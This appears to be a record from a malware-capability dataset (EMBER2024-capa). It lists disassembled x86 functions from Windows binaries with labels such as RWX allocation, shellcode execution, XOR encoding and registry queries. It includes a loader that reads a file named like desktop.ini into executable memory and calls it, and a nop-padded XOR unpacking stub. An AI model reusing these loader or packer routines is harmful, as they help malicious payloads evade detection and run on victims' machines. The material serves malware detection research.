joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10

Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x5b4c5d4b
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
mov eax, section..data
nop
nop
mov ebx, 0x42e1d0
mov ecx, 0x37055b7b
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x40206d
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
push ebx
lea eax, [ebp - 8]
push esi
push edi
xor esi, esi
push eax
push str.SystemCurrentControlSetControlASDProb
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x40217e
mov edi, 1
push 0x50
lea eax, [ebp - 0x68]
push eax
push esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x402175
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x68]
push eax
push ecx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x40215a
mov ebx, 1
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 1]
push ecx
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x14]
push 0
lea ecx, [ebp - 0x168]
mov dword [ebp - 0xc], 1
mov dword [ebp - 0x14], 0x100
push eax
push ecx
push 0
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x402151
cmp dword [ebp - 0x18], 3
jne 0x402151
cmp dword [ebp - 0xc], 1
jne 0x402151
cmp byte [ebp - 1], 0
je 0x402119
inc esi
mov ecx, ebx
lea eax, [ebp - 0xc]
inc ebx
push eax
lea edx, [ebp - 1]
lea eax, [ebp - 0x18]
mov dword [ebp - 0xc], 1
mov dword [ebp - 0x14], 0x100
push edx
push eax
push 0
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x168]
push eax
push ecx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
je 0x402106
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
push 0x50
inc edi
lea ecx, [ebp - 0x68]
push ecx
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
je 0x4020b2
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x402262
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x170
push ebx
lea eax, [ebp - 8]
push esi
push edi
xor esi, esi
push eax
push str.SystemCurrentControlSetControlASDProb
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4023c9
push 0x50
lea eax, [ebp - 0x70]
mov dword [ebp - 0x18], 1
push eax
push esi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x4023c0
xor ebx, ebx
lea eax, [ebp - 0x10]
lea ecx, [ebp - 0x70]
push eax
push ecx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4023a2
lea eax, [ebp - 0xc]
lea ecx, [ebp - 1]
push eax
lea edx, [ebp - 0x1c]
push ecx
lea eax, [ebp - 0x14]
push edx
lea ecx, [ebp - 0x170]
mov dword [ebp - 0xc], 1
mov dword [ebp - 0x14], 0x100
mov dword [ebp - 0x20], 1
push ebx
push eax
push ecx
push ebx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x402399
mov edi, esi
imul edi, edi, 0x138
cmp dword [ebp - 0x1c], 3
jne 0x402399
cmp dword [ebp - 0xc], 1
jne 0x402399
cmp byte [ebp - 1], bl
je 0x40235b
lea eax, [ebp - 0x70]
inc esi
push eax
mov eax, dword [0x40615c]
add eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea ecx, [ebp - 0x170]
mov eax, dword [0x40615c]
push ecx
add eax, edi
add eax, 0x32
add edi, 0x138
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [0x40615c]
mov dword [ecx + edi - 4], ebx
mov ecx, dword [ebp - 0x20]
lea eax, [ebp - 0xc]
push eax
lea edx, [ebp - 1]
push edx
lea eax, [ebp - 0x1c]
push eax
lea edx, [ebp - 0x14]
push ebx
lea eax, [ebp - 0x170]
push edx
inc dword [ebp - 0x20]
mov dword [ebp - 0xc], 1
mov dword [ebp - 0x14], 0x100
push eax
push ecx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
je 0x40230b
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x18]
push 0x50
lea ecx, [ebp - 0x70]
inc dword [ebp - 0x18]
push ecx
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
je 0x4022ab
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x40253a
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0xfa1
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetDlgItem]
mov edi, eax
mov eax, dword [ebp + 0xc]
cmp eax, 1
je 0x402574
cmp eax, 2
je 0x40261b
cmp eax, 0xbbb
je 0x402626
jmp 0x402669
xor ebx, ebx
xor esi, esi
push ebx
push ebx
push 0x18b
push edi
call dword [sym.imp.USER32.dll_SendMessageA]
mov dword [ebp - 8], eax
cmp eax, ebx
jle 0x4025ff
push 0
push esi
push 0x199
push edi
call dword [sym.imp.USER32.dll_SendMessageA]
cmp dword [eax + 0x134], 0
mov dword [ebp - 4], eax
je 0x4025f9
lea eax, [ebp - 0xc]
push eax
push str.SystemCurrentControlSetControlASDProb
push dword [ebp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4025f9
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 4]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4025f0
mov ebx, 1
mov eax, dword [ebp - 4]
add eax, 0x32
push eax
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc esi
cmp esi, dword [ebp - 8]
jl 0x40258d
test ebx, ebx
je 0x402610
push 0x43
push 0
push dword [ebp + 8]
call dword [sym.imp.SHELL32.dll_RestartDialog]
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_DestroyWindow]
jmp 0x402669
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_DestroyWindow]
jmp 0x402669
xor ebx, ebx
push ebx
push ebx
push 0x188
push edi
call dword [sym.imp.USER32.dll_SendMessageA]
mov esi, eax
test esi, esi
jl 0x402669
push ebx
push ebx
push 0x18b
push edi
call dword [sym.imp.USER32.dll_SendMessageA]
cmp eax, esi
jle 0x402669
push ebx
push esi
push 0x199
push edi
call dword [sym.imp.USER32.dll_SendMessageA]
test eax, eax
je 0x402669
push eax
push dword [ebp + 8]
call fcn.00402cc7
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x403832
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
lea eax, [ebp - 4]
push edi
xor esi, esi
mov edi, dword [ebp + 0x10]
push eax
push str.SystemCurrentControlSetControlASDList
mov dword [ebp - 0xc], edi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4038a0
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x403897
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0xc]
push esi
push esi
push 0x401120
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40388e
mov esi, 1
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x4038b9
push edi
push dword [ebp + 0xc]
push 0x3f3
push dword [0x407488]
call dword [sym.imp.USER32.dll_LoadStringA]
mov eax, esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4038d0
Capabilities:
Accept command line arguments

Disassembly:
mov eax, dword fs:[0]
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x401128
push 0x404940
push eax
mov dword fs:[0], esp
sub esp, 0x60
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x4075dc], eax
xor eax, eax
mov al, byte [0x4075dd]
mov dword [0x4075e8], eax
mov eax, dword [0x4075dc]
shr dword [0x4075dc], 0x10
and eax, 0xff
mov dword [0x4075e4], eax
shl eax, 8
add eax, dword [0x4075e8]
mov dword [0x4075e0], eax
call fcn.00404920
mov dword [ebp - 4], 0
call fcn.00404740
call fcn.00404730
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x40729c], eax
call fcn.004042d0
mov dword [0x4075bc], eax
test eax, eax
je 0x403969
cmp dword [0x40729c], 0
jne 0x403973
push 0xffffffffffffffff
call fcn.00403bb0
add esp, 4
call fcn.00404050
call fcn.00403f70
call fcn.00403b80
mov esi, dword [0x40729c]
mov al, byte [esi]
cmp al, 0x22
je 0x40399a
cmp al, 0x20
jbe 0x4039c7
inc esi
cmp byte [esi], 0x20
ja 0x403992
jmp 0x4039c7
inc esi
cmp byte [esi], 0x22
je 0x4039c6
mov bl, byte [ebp - 0x28]
mov bl, byte [esi]
test bl, bl
je 0x4039c1
xor eax, eax
mov al, bl
push eax
call fcn.00403f10
add esp, 4
test eax, eax
je 0x4039bb
inc esi
inc esi
cmp byte [esi], 0x22
jne 0x4039a3
cmp byte [esi], 0x22
jne 0x4039c7
inc esi
cmp byte [esi], 0
je 0x4039d7
cmp byte [esi], 0x20
ja 0x4039d7
inc esi
cmp byte [esi], 0
jne 0x4039cc
mov dword [ebp - 0x44], 0
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x44], 1
mov eax, 0xa
je 0x4039fb
mov eax, dword [ebp - 0x40]
and eax, 0xffff
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
push eax
call fcn.00403bb0
jmp 0x403a3c
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
pop edi
mov dword fs:[0], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403bf0
Capabilities:
Terminate process

Disassembly:
mov dword [0x407614], 1
cmp dword [esp + 8], 0
push ebx
push esi
mov ebx, dword [esp + 0x14]
mov byte [0x407610], bl
jne 0x403c4c
cmp dword [0x407298], 0
je 0x403c3a
mov esi, dword [0x407290]
sub esi, 4
cmp esi, dword [0x407298]
jb 0x403c3a
mov eax, dword [esi]
test eax, eax
je 0x403c2f
call eax
sub esi, 4
cmp esi, dword [0x407298]
jae 0x403c27
push 0x40601c
push 0x406014
call fcn.00403c70
add esp, 8
push 0x406024
push 0x406020
call fcn.00403c70
add esp, 8
test ebx, ebx
jne 0x403c6d
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop esi
pop ebx
ret
Function at 0x4042d0
Capabilities:
Query environment variable

Disassembly:
sub esp, 4
cmp dword [0x4076b8], 0
push ebx
push esi
push edi
push ebp
jne 0x404320
mov esi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
call esi
mov edi, eax
test edi, edi
je 0x4042fe
mov dword [0x4076b8], 1
mov ebx, dword [esp + 0x10]
jmp 0x40432e
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov ebx, eax
test ebx, ebx
je 0x404316
mov dword [0x4076b8], 2
jmp 0x40432e
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
mov edi, dword [esp + 0x10]
mov ebx, dword [esp + 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
cmp dword [0x4076b8], 1
jne 0x4043dd
test edi, edi
jne 0x404351
call esi
mov edi, eax
test edi, edi
jne 0x404351
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
cmp word [edi], 0
mov esi, edi
je 0x40436b
add esi, 2
cmp word [esi], 0
jne 0x404359
add esi, 2
cmp word [esi], 0
jne 0x404359
sub esi, edi
push 0
sar esi, 1
push 0
inc esi
push 0
push 0
push esi
push edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebp, eax
test ebp, ebp
je 0x4043cc
push ebp
call fcn.00404f70
add esp, 4
mov ebx, eax
test ebx, ebx
je 0x4043cc
push 0
push 0
push ebp
push ebx
push esi
push edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
jne 0x4043bb
push ebx
call fcn.00404f50
add esp, 4
xor ebx, ebx
push edi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
push edi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
cmp dword [0x4076b8], 2
jne 0x404461
test ebx, ebx
jne 0x404400
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov ebx, eax
test ebx, ebx
jne 0x404400
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
mov ebp, ebx
cmp byte [ebx], 0
je 0x404415
inc ebp
cmp byte [ebp], 0
jne 0x404407
inc ebp
cmp byte [ebp], 0
jne 0x404407
sub ebp, ebx
inc ebp
push ebp
call fcn.00404f70
mov dword [esp + 0x14], eax
add esp, 4
test eax, eax
jne 0x40443a
push ebx
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
mov edi, dword [esp + 0x10]
mov esi, ebx
mov ecx, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
mov eax, dword [esp + 0x10]
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret
Function at 0x404a60
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x1a8
xor eax, eax
mov ecx, 0x407b48
push ebx
mov edx, dword [esp + 0x1b0]
push esi
push edi
push ebp
cmp dword [ecx], edx
je 0x404a88
add ecx, 8
inc eax
cmp ecx, 0x407bd0
jb 0x404a78
cmp dword [eax*8 + 0x407b48], edx
lea ebx, [eax*8]
jne 0x404c43
cmp dword [0x4075c8], 1
je 0x404c08
cmp dword [0x4075c8], 0
jne 0x404abf
cmp dword [0x4075cc], 1
je 0x404c08
cmp edx, 0xfc
je 0x404c43
lea eax, [esp + 0xb4]
push 0x104
push eax
mov ebp, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
call ebp
test eax, eax
jne 0x404afc
mov esi, str._program_name_unknown_
lea edi, [esp + 0xb4]
mov ecx, 5
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea ebp, [esp + 0xb4]
lea edi, [esp + 0xb4]
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
cmp ecx, 0x3c
jbe 0x404b40
lea edi, [esp + 0xb4]
mov ecx, 0xffffffff
sub eax, eax
push 3
repne scasb al, byte es:[edi]
not ecx
lea ebp, [esp + ecx + 0x7c]
push 0x40111c
push ebp
call fcn.00405090
add esp, 0xc
mov esi, str.Runtime_Error__n_nProgram:
lea edi, [esp + 0x14]
mov ecx, 6
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov edi, ebp
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov ecx, 0xffffffff
lea edi, [esp + 0x14]
sub eax, eax
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x407bfc
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov ecx, 0xffffffff
lea edi, [esp + 0x14]
sub eax, eax
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebx + 0x407b4c]
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
lea edi, [esp + 0x14]
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x12010
and ecx, 3
push str.Microsoft_Visual_C_Runtime_Library
rep movsb byte es:[edi], byte [esi]
lea eax, [esp + 0x1c]
push eax
call fcn.00404ff0
add esp, 0xc
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x1a8
ret
mov eax, dword [0x407190]
mov esi, dword [eax + 0x10]
cmp esi, 0xffffffff
jne 0x404c1f
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov esi, eax
mov edx, dword [ebx + 0x407b4c]
push 0
lea eax, [esp + 0x14]
mov edi, edx
push eax
mov ecx, 0xffffffff
sub eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x1a8
ret
Function at 0x4056b0
Capabilities:
Write file on windows

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x418
cmp dword [0x407184], edx
push ebx
push esi
push edi
push ebp
jbe 0x4058b7
mov eax, edx
and eax, 0xffffffe7
sar eax, 3
add eax, 0x407190
mov dword [esp + 0x18], eax
mov eax, edx
and eax, 0x1f
mov ecx, dword [esp + 0x18]
shl eax, 3
mov ebx, dword [ecx]
mov ebp, eax
mov dword [esp + 0x1c], eax
mov al, byte [ebx + ebp + 4]
test al, 1
je 0x4058b7
xor esi, esi
mov ebp, dword [esp + 0x434]
mov dword [esp + 0x20], esi
cmp ebp, esi
jne 0x405719
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x418
ret
test al, 0x20
je 0x40572a
push 2
push 0
push edx
call fcn.00405af0
add esp, 0xc
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
add ecx, dword [eax]
test byte [ecx + 4], 0x80
je 0x4057c6
mov dword [esp + 0x10], 0
mov edi, dword [esp + 0x430]
mov eax, edi
sub eax, dword [esp + 0x430]
cmp eax, ebp
jae 0x4057ff
lea ebx, [esp + 0x24]
mov eax, edi
sub eax, dword [esp + 0x430]
cmp eax, ebp
jae 0x40578d
mov al, byte [edi]
inc edi
cmp al, 0xa
jne 0x40577b
mov byte [ebx], 0xd
inc esi
inc ebx
mov byte [ebx], al
inc ebx
mov eax, ebx
lea ecx, [esp + 0x24]
sub eax, ecx
cmp eax, 0x400
jl 0x405762
lea eax, [esp + 0x24]
push 0
sub ebx, eax
lea ecx, [esp + 0x28]
lea eax, [esp + 0x18]
mov edx, dword [esp + 0x1c]
push eax
push ebx
push ecx
mov eax, dword [edx]
mov ecx, dword [esp + 0x2c]
mov edx, dword [eax + ecx]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4057f5
mov eax, dword [esp + 0x14]
add dword [esp + 0x20], eax
cmp eax, ebx
jge 0x40574d
jmp 0x4057ff
lea eax, [esp + 0x14]
push 0
mov edx, dword [esp + 0x434]
push eax
push ebp
mov ecx, dword [ecx]
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4057f5
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x14]
mov dword [esp + 0x20], eax
jmp 0x4057ff
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 0x10], eax
cmp dword [esp + 0x20], 0
jne 0x4058a6
cmp dword [esp + 0x10], 0
je 0x405858
cmp dword [esp + 0x10], 5
jne 0x40583b
mov dword [0x4075d0], 9
mov eax, dword [esp + 0x10]
pop ebp
pop edi
mov dword [0x4075d4], eax
mov eax, 0xffffffff
pop esi
pop ebx
add esp, 0x418
ret
mov eax, dword [esp + 0x10]
push eax
call fcn.00405a80
add esp, 4
mov eax, 0xffffffff
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x418
ret
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x1c]
mov edx, dword [eax]
test byte [edx + ecx + 4], 0x40
je 0x405882
mov eax, dword [esp + 0x430]
cmp byte [eax], 0x1a
jne 0x405882
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x418
ret
mov eax, 0xffffffff
pop ebp
mov dword [0x4075d0], 0x1c
mov dword [0x4075d4], 0
pop edi
pop esi
pop ebx
add esp, 0x418
ret
mov eax, dword [esp + 0x20]
pop ebp
sub eax, esi
pop edi
pop esi
pop ebx
add esp, 0x418
ret
mov eax, 0xffffffff
pop ebp
mov dword [0x4075d0], 9
mov dword [0x4075d4], 0
pop edi
pop esi
pop ebx
add esp, 0x418
ret
Function at 0x401280
Capabilities:
Terminate process

Disassembly:
push 0x10
push 0x4041e8
call fcn.004013d0
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x1c], ebx
mov edi, 0x40537c
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x40109f
cmp eax, esi
jne 0x401092
xor esi, esi
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x4010a2
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401079
xor esi, esi
inc esi
mov eax, dword [0x405378]
cmp eax, esi
jne 0x4010b5
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x4010f0
mov eax, dword [0x405378]
test eax, eax
jne 0x4010ea
mov dword [0x405378], esi
push 0x403128
push 0x40311c
call section..text
pop ecx
pop ecx
test eax, eax
je 0x4010f0
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x4011ba
mov dword [0x405034], esi
mov eax, dword [0x405378]
cmp eax, esi
jne 0x401114
push 0x403118
push 0x403110
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x405378], 2
cmp dword [ebp - 0x1c], ebx
jne 0x401121
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x405380], ebx
je 0x401142
push 0x405380
call fcn.00401364
pop ecx
test eax, eax
je 0x401142
push ebx
push 2
push ebx
call dword [0x405380]
push dword [0x40501c]
push dword [0x405020]
push dword [0x405018]
call fcn.00401a65
add esp, 0xc
mov dword [0x405030], eax
cmp dword [0x405024], ebx
jne 0x4011a0
push eax
call dword [sym.imp.msvcrt.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x20], ecx
push eax
push ecx
call sub.msvcrt.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x405034], ebx
jne 0x4011ae
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x405030]
call fcn.00401415
ret
call fcn.004014ff
jmp 0x401057